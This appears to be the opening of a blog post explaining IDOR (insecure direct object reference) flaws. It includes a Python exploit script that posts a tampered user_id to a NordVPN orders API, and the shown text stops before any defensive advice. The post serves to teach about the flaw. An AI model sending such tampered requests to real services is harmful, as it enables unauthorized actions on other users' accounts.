Hey, I’m Aman Sharma, a cybersecurity enthusiast. While testing web apps, I discovered how IDOR (Insecure Direct Object Reference) can turn a simple parameter change into a full-blown data breach. From NordVPN to HackerOne, big names have fallen victim — here’s how it happens and how to stop it.

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IDOR occurs when an app exposes internal object references (like user IDs, file paths, or database keys) without proper authorization checks. Attackers manipulate these references to access unauthorized data.

Real-World Example: NordVPN API Exploit

Vulnerability: Unauthorized order creation via user_id tampering.

Exploit Code (Python + Requests)

import requests
url = "https://join.nordvpn.com/api/v1/orders"
headers = {"Content-Type": "application/json"}
payload = {
    "payment": {"provider_method_account": "6xdxdd", "parameters": {}},
    "action": "order",
    "plan_id": 653,
    "user_id": 20027039,  # Attacker changes this to another user's ID
    "tax_country_code": "TW",
    "payment_retry": 0,
    "is_installment": False
}
response = requests.post(url, json=payload, headers=headers)
print(response.json())…